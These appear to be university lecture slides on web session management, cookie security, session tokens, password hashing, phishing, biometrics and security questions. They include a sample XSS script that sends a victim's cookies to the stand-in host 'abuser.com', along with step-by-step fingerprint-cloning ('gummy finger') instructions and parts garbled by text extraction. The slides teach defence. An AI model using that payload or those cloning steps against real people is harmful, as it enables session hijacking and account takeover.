Authentication and Session Management

John Mitchell

Outline
- Session management
  - Session state
    - URL
    - Hidden form field
    - Cookies
  - Session hijacking
  - Choosing session tokens
- Passwords and User Authentication

Sessions
- A sequence of requests and responses from one browser to one (or more) sites
  - Session can be long (Gmail - two weeks) or short
  - without session mgmt: no continuing user state
    - users would have to constantly re-authenticate
  - Session mgmt:
    - Identify user and maintain associated session state
    - Authenticate user once
    - All subsequent requests tied to authenticated user

Pre-history: HTTP auth
- HTTP request: GET /index.html
- HTTP response contains:
  - WWW-Authenticate: Basic realm="Password Required"

Browsers sends hashed password on all subsequent HTTP requests:
  - Authorization: Basic ZGFddfibzsdfgkjhecz1NXRleHQ=

HTTP auth problems
- Hardly used in commercial sites
  - User cannot log out other than by closing browser
    - What if user has multiple accounts?
    - What if multiple users on same computer?
  - Site cannot customize password dialog
  - Confusing dialog to users
  - Easily spoofed

Storing session state (none are perfect)
- Browser cookie:
  - Set-Cookie: SessionId=fduhye63sfdb
- Embed in all URL links:
  - https://site.com/checkout?SessionId=kh7y3b
- In a hidden form field:
  - <input type="hidden" name="sessionid" value="kh7y3b">

Window.name DOM property
Primitive Browser Session

www.e_buy.com

View Catalog

Select Item

www.e_buy.com/shopping.cfm?pID=269

Check out

www.e_buy.com/shopping.cfm?pID=269&item1=102030405

Store session information in URL; Easily read on network, Referrer header

The HTTP referer header

GET /wiki/John_Ousterhout/HTTP/1.1
Host: en.wikipedia.org
Keep-Alive: 300
Connection: keep-alive

Referer: http://www.google.com/search?q=john_ousterhout&ie=utf-8&oe=utf-8

Referer leaks URL session token to 3rd parties

Hidden fields: another form of state

Dynamically generated HTML can contain data based on user history

<FORM METHOD=POST ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl">
Black Leather purse with leather straps<br>Price: $20.00<br>
<input type="hidden" name="name" value="Black leather purse">
<input type="hidden" name="price" value="20.00">
<input type="hidden" name="h" value="1">
<input type="hidden" name="img" value="purse.jpg">
<input type="hidden" name="return" value="http://www.dansie.net/demo.html">
<input type="hidden" name="custom1" value="Black leather purse with leather straps">

<input type="submit" name="add" value="Put in Shopping Cart">
</FORM>

“Bargain shopping” at http://www.dansie.net/demo.html (May ’06)

CVE-2000-0253 (Jan. 2001), BugTraq ID: 1115

Cookies: store state on user’s machine

GET ...
HTTP Header:
Set-cookie: NAME=VALUE ; domain = (who can read) ; expires = (when expires) ; secure = (only over SSL)

If expires=NULL: this session only

Cookies

- Browser will store 20 cookies/site, 3 KB/cookie
- User authentication
- Personalization
- User tracking: e.g. Doubleclick (3rd party cookies)
- Danger of storing data on browser
- User can change values
- Silly example: Shopping cart software
  Set-cookie: shopping-cart-total = 150 ($)
- User edits cookie file (cookie poisoning):
  Cookie: shopping-cart-total = 15 ($)
- Similar to problem with hidden fields
  <input type="hidden" name="shopping-cart-total" value="150">

Not so silly? (as of 2/2000)

- D3.COM Pty Ltd: ShopFactory 5.8
- @Retail Corporation: @Retail
- Adgrafix: Check It Out
- Baron Consulting Group: WebSite Tool
- ComCity Corporation: SalesCart
- Crested Butte Software: EasyCart
- Dansie.net: Dansie Shopping Cart
- Intelligent Vending Systems: Intellivend
- Make-a-Store: Make-a-Store OrderPage
- McMurtrey/Whitaker & Associates: Cart32 3.0
- pknutsen@nethut.no: CartMan 1.04
- Rich Media Technologies: JustAddCommerce 5.0
- SmartCart: SmartCart
- Web Express: Shoptron 1.2

Source: http://xforce.iss.net/xforce/xfdb/4621
Solution: cryptographic checksums

Goal: data integrity
Requires secret key $k$ unknown to browser

Generate tag: $T \leftarrow F(k, \text{value})$

“value” should also contain data to prevent cookie replay and swap

Example: .NET 2.0

  - Secret web server key intended for cookie protection
  - Stored on all web servers in site

- Creating an encrypted cookie with integrity:
  - $HttpCookie\ \text{cookie} = \text{new} \ HttpCookie\text{(name, val)}$;
  - $HttpCookie\ \text{encodedCookie} = \text{HttpSecureCookie.Encode (cookie)}$;

- Decrypting and validating an encrypted cookie:
  - $\text{HttpSecureCookie.Decode (cookie)}$;

Basic cookie-stealing attack (More later!)

- Post this on someone’s blog
  - `<script>
    document.write('<script
    src="http://www.abuser.com/get_cookies?cookies=")
    document.write(document.cookie)
    document.write(''></script>');
  </script>);

- What happens?
  - Script in HTML that victim reads off blog site
  - Script executed in victim’s browser steals blog cookie

Session tokens

- Storing session tokens: problems
  - Browser cookie:
    - browser sends cookie with every request, even when it should not (CSRF)
  - Embed in all URL links:
    - token leaks via HTTP Referer header
  - In a hidden form field: short sessions only

Best answer: a combination of all of the above
Predictable tokens

- Example: counter (Verizon Wireless)
  - user logs in, gets counter value, can view sessions of other users
- Example: weak MAC (WSJ)
  - token = \{userid, MAC(userid)\}
  - Weak MAC exposes k from few cookies
- Apache Tomcat: generateSessionID()
  - MD5(PRG) ... but weak PRG [GM'05].
- Predictable SessionID’s

Session tokens must be unpredictable to attacker
Rails: token = MD5( current time, random nonce )

Cookie theft

- Example 1: login over SSL, subsequent HTTP
  - What happens as wireless Café?
  - Other reasons why session token sent in the clear:
    - HTTPS/HTTP mixed content pages at site
    - Man-in-the-middle attacks on SSL
- Example 2: Cross Site Scripting (XSS)
- Amplified by poor logout procedures:
  - Logout must invalidate token on server

Session fixation attacks

- Suppose attacker can set the user’s session token:
  - For URL tokens, trick user into clicking on URL
  - For cookie tokens, set using XSS exploits
- Attack: (say, using URL tokens)
  1. Attacker gets anonymous session token for site.com
  2. Sends URL to user with attacker’s session token
  3. User clicks on URL and logs into site.com
  4. Attacker uses elevated token to hijack user’s session.

Session fixation: lesson

- When elevating user from anonymous to logged-in,
  always issue a new session token

  Once user logs in, token changes to value unknown to attacker.
  \Rightarrow Attacker’s token is not elevated.

Generating session tokens

Goal: prevent hijacking and avoid fixation

Option 1: minimal client-side state

- SessionToken = [random string]
  (no data embedded in token)
  - Server stores all data associated to SessionToken: userid, login-status, login-time, etc.
- Can result in server overhead:
  - When multiple web servers at site, lots of database lookups to retrieve user state.
Option 2: lots of client-side state

- SessionToken:
  - SID = [ userID, exp. time, data]
    - where data = (capabilities, user data, ...)
  - SessionToken = Enc-then-MAC (k, SID)
  - k: key known to all web servers in site.

- Server must still maintain some user state:
  - e.g. logout status (should check on every request)

- Note that nothing binds SID to client's machine

Bind SessionToken to client's computer

- Client IP Address:
  - Will make it harder to use token at another machine
  - But honest client may change IP addr during session
  - Client will be logged out for no reason.

- Client user agent:
  - A weak defense against theft, but doesn't hurt.

- SSL session key:
  - Same problem as IP address (and even worse)

Another problem

- Secure cookies
  - Transmitted only over SSL

- SSL
  - Authentication and key exchange protocol
  - Browser authenticates server using certificate check
  - Data sent encrypted with SSL key

- But
  - If certificate check fails, browser may still send security cookie
  - Reveals session cookie to ISP, or Person-in-the-middle

User Authentication and Password Management

Outline

- Basic password concepts
  - Hashing, salt, online/offline dictionary attacks
  - Phishing and online ID Theft
  - Two-factor authentication
  - Biometrics, one-time pwd tokens
  - Security questions and the story of Sarah Palin

- Backend Analytics

Password authentication

- Basic idea
  - User has a secret password
  - System checks password to authenticate user

- Issues
  - How is password stored?
  - How does system check password?
  - How easy is it to guess a password?
    - Difficult to keep password file secret, so best if it is hard to guess password even if you have the password file
**Basic password scheme**

- **User**
- **Password file**

- **frunobulax**
- **exryhbzyl**
- **kgnosfix**
- **ggjoklbsz**
- **...**

**hash function**

---

**Unix password system**

- **Hash function is 25xDES**
  - Number 25 was meant to make search slow
- **Password file is publicly readable**
  - Other information in password file...
- **Any user can try “offline dictionary attack”**
  - User looks at password file
  - Computes hash(word) for every word in dictionary
  - “Salt” makes dictionary attack harder

---

**Dictionary Attack - some numbers**

- **Typical password dictionary**
  - 1,000,000 entries of common passwords
  - people's names, common pet names, and ordinary words.
  - Suppose you generate and analyze 10 guesses per second
  - This may be reasonable for a web site; offline is much faster
  - Dictionary attack in at most 100,000 seconds = 28 hours, or 14 hours on average
- **If passwords were random**
  - Assume six-character password
  - Upper- and lowercase letters, digits, 32 punctuation characters
  - 689,869,781,056 password combinations.
  - Exhaustive search requires 1,093 years on average

---

**Advantages of salt**

- **Without salt**
  - Same hash functions on all machines
  - Compute hash of all common strings once
  - Compare hash file with all known password files
- **With salt**
  - One password hashed $2^{12}$ different ways
  - Precompute hash file?
  - Need much larger file to cover all common strings
  - Dictionary attack on known password file
  - For each salt found in file, try all common strings
Password-authenticated key exchange

Main idea
- Do not sent password on network
- Compute and send values that depend on the password but do not provide usable information about it.

Diffie-Hellman key exchange

Assumes public prime \( p \) and generator \( g \)

\[
\begin{align*}
A & \quad g^a \mod p \\
B & \quad g^b \mod p \\
\text{Result: A and B share secret } g^{ab} \mod p
\end{align*}
\]

EKE: DH version [BM92]

\[
\begin{align*}
\text{User (pwd)} & \quad \text{Server (pwd)} \\
U, ENC_{pwd}(gx) & \quad ENCK(\text{challenge}_S) \\
ENC_{pwd}(gy), ENCK(\text{challenge}_U, \text{challenge}_S) & \quad ENCK(\text{challenge}_U) \\
K = f(gxy) & \quad K = f(gxy)
\end{align*}
\]

Example: SPEKE

Assumes public prime \( p \) and secret password \( \pi \)

Compute \( g = \text{hash}(\pi)^2 \mod p \)

\[
\begin{align*}
A & \quad g^a \mod p \\
B & \quad g^b \mod p \\
\text{Result: A and B share secret } g^{ab} \mod p
\end{align*}
\]

Outline
- Basic password concepts
  - Hashing, salt, online/offline dictionary attacks
- Phishing and online ID Theft
  - Phishing pages, server auth, transaction generators, secure attention sequence
- Two-factor authentication
  - Biometrics, one-time pwd tokens
- Server-side password functions
  - Ruby-on-Rails, pwd registration, email confirmation, pwd reset, single sign-on
- Security questions and the story of Sarah Palin

Phishing Attack

Sends email: “There is a problem with your eBuy account”

User clicks on email link to www.ebuj.com.

User thinks it is ebuy.com, enters eBuy username and password.
Typical properties of spoof sites

- Show logos found on the honest site
- Copied jpeg/gif file, or link to honest site
- Have suspicious URLs
- Ask for user input
- Some ask for CCN, SSN, mother’s maiden name, ...
- HTML copied from honest site
- May contain links to the honest site
- May contain revealing mistakes
- Short lived
- Cannot effectively blacklist spoof sites
- HTTPS uncommon

SpoofGuard browser extension

- SpoofGuard is added to IE tool bar
  - User configuration
  - Pop-up notification as method of last resort

Browser anti-phishing filters

- Major browsers use antiphishing measures
  - Microsoft antiphishing and anti-malware tool for IE
  - Firefox – combination of tools, including Google
  - Opera uses Haute Secure to provide bogus site warnings to end users
  - Google – own antiphishing technology in Chrome
  - Apple added antiphishing to Safari 3.2 (Nov ’08)

Password Phishing Problem

- User cannot reliably identify fake sites
- Captured password can be used at target site

Common Password Problem

- Phishing attack or break-in at site B reveals pwd at A
  - Server-side solutions will not keep pwd safe
  - Solution: Strengthen with client-side support
Stanford PwdHash

- Lightweight browser extension
- Impedes password theft
- Invisible to server
  - Compute site-specific password that appears “ordinary” to server that received it
- Invisible to user
  - User indicates password to be hashed by alert sequence (@@) at beginning of pwd

Password Hashing

- Compute site-specific password that appears “ordinary” to server that received it
- Invisible to user
- Implement keystroke logger, keep scripts from reading user password entry
- Password reset problem
- Internet café
- Dictionary attacks (defense: added salt)

Many tricky issues

- Malicious javascript in browser
- Password reset problem
- Internet café
- Dictionary attacks (defense: added salt)

Anti-Phishing Features in IE7

- Picture-in-Picture Attack
- Results: Is this site legitimate?
Web timing attacks

Most sites have “Forgot my password” pages.

These pages may leak whether an email is valid at that site.

- Identified through outreach to financial infrastructure company.
- Vulnerability found on virtually every site we tested.
- Communicated results, repair adopted.

Biometrics

- Use a person’s physical characteristics:
  - fingerprint, voice, face, keyboard timing, ...
- Advantages:
  - Cannot be disclosed, lost, forgotten
- Disadvantages:
  - Cost, installation, maintenance
  - Reliability of comparison algorithms
  - False positive: Allow access to unauthorized person
  - False negative: Disallow access to authorized person
- Privacy?
  - If forged, how do you revoke?

Voluntary finger cloning

- Select the casting material:
  - Softened, free molding plastic (used by Matsumoto).
  - Part of a large, soft wax candle (used by Willis, Thalheim).
- Push the fingertip into the soft material.
- Let material harden.
- Select the finger cloning material:
  - Gelatin: “gummy fingers”, used by Matsumoto.
  - Silicone: used by Willis; Thalheim.
- Pour a layer of cloning material into the mold.
- Let the clone harden.

Matsumoto’s Technique

- Put the plastic into hot water to soften it.
- Press a live finger against it.
- It takes around 10 minutes.
- The mold.
- Only a few dollars’ worth of materials.

Involuntary Cloning

- Clone without victim knowledge or assistance.
- Appears in Hollywood movies:
  - *Sneakers* (1992) “My voice is my password.”
  - *Charlie’s Angels* (2000)
  - Fingertips from beer bottles.
  - Eye scan from oom-pah laser.
- Bad news: it works!

Gummy Finger from a Latent Print

- Capture clean, complete fingerprint on a glass, CD, or other smooth, clean surface.
- Pick it up using tape and graphite.
- Scan it into a computer at high resolution.
- Enhance the fingerprint image.
- Etch it onto printed circuit board (PCB) material.
- Use the PCB as a mold for a “gummy finger.”
Illustration

Token-based authentication

From Matsumoto, ITU-T Workshop

Several configurations and modes of use
- Device produces password, user types into system
- User unlocks device using PIN
- User unlocks device, enters challenge

Example: S/Key
- User enters string, devices computes sequence
  \[ p_0 = \text{hash}(\text{string}|\text{rand}); \quad p_{i+1} = \text{hash}(p_i) \]
- \( p_n \) placed on server; set counter \( k = n \)
- Device can be used \( n \) times before reinitializing
  \[ \text{Send } p_{k-1} \text{ to server, set } k = k-1 \]
  \[ \text{Server checks hash}(p_{k-1}) = p_k, \text{ stores } p_{k-1} \]

Other methods (several vendors)

CMU Phoolproof prevention

Initial data

CMU Phoolproof prevention

- Eliminates reliance on perfect user behavior
- Protects against keyloggers, spyware.
- Uses a trusted mobile device to perform mutual authentication with the server

水肿: 榨汁 Rydstedt

Common pwd registration procedure

- Visit web site
- Complete registration
- Send email link
- Receive email

September 16, 2008

Compromise of
gov.palin@yahoo.com using
password-reset functionality of
Yahoo Mail.

- No secondary mail needed
- Date of Birth - Wikipedia
- Zipcode - Wasilla has two
- Where did you meet your spouse?
  - Biographies
  - Wikipedia, again...
  - Google
- Successfully changed password to
  "popcorn"
Data Mining

- Make of your first car?
  - Until 1998, Ford had >25% of market
- First name of your best friend?
  - 10% of males: James/Jim, John, Robert/Bob/Ro
- Name of your first / favorite pet
  - Max, Jake, Buddy, Bear... etc.
- Mother’s Maiden Name, Social Security Number
  - “Messin’ with Texas” [Griffith & Jakobsson, 2005]

People Forget

- Name of the street etc?
  - More than one...
- Name of best friend?
  - Friends change
- City you were born?
  - NYC? New York? Manhattan?
  - New York City? Big Apple?
- People lie to increase security... then forget.

Much More [Rabkin 2008]

Inapplicable
  - What high school did your spouse attend?
Not memorable
  - Name of teacher in kindergarten?
Ambiguous
  - Name of college you applied to but did not attend?
Guessable
  - Age when you married?
  - Favorite color?
Attackable/automatically attackable
  - Public records.

Anticipating Trends

More sites ...
More passwords ...
More forgetting ...

More repeated credentials...
Increased exposure to hacking and cloning

Note: Underground markets sell reset password questions for 10x the price of passwords.

blue-moon-authentication.com

- Avoid memory, use preferences
  - Do not have to be remembered: forgetting curve does not apply!
- Preferences are stable [Kuder, 1939]
- Rarely documented
  - especially dislikes

The Experiments - Correlations

Average correlation very low.
Obvious relationships such as “Political Events” and “Politics” had strong correlation.
Negative correlations were especially weak.
Only pair wise correlations tested.
The Experiments - Correlations

Someone who likes Visiting Flea Markets is the least likely to enjoy?

- Punk Music
- Indian Food
- Watching Tennis
- Visiting Bookstores
- Cats

Who is the Enemy?
1. Faceless enemy on the web
   a. Naïve - 0% success
   b. Strategic - 0.5% success
   c. The Super hacker - ?
2. Acquaintance / friend / family member
3. Your ex-girlfriend/boyfriend
4. The website-cloning attacker
5. The IM Manipulator

Backend Analytics

- Web server can use client machine, network characteristics to estimate likelihood of potential fraud
- Sample companies
  - Threat Metrix
  - Iovation
    - [http://www.timesofitsecurity.com/images/white_papers/Solving-Online-Credit-Fraud.pdf](http://www.timesofitsecurity.com/images/white_papers/Solving-Online-Credit-Fraud.pdf)

Outline

- Session management
  - Session tokens, session hijacking
- Basic password concepts
  - Hashing, salt, online/offline dictionary attacks
- Phishing and online ID Theft
  - Phishing pages, server auth, transaction generators, secure attention sequence
- Two-factor authentication
  - Biometrics, one-time pwd tokens
- Security questions and the story of Sarah Palin
- Backend Analytics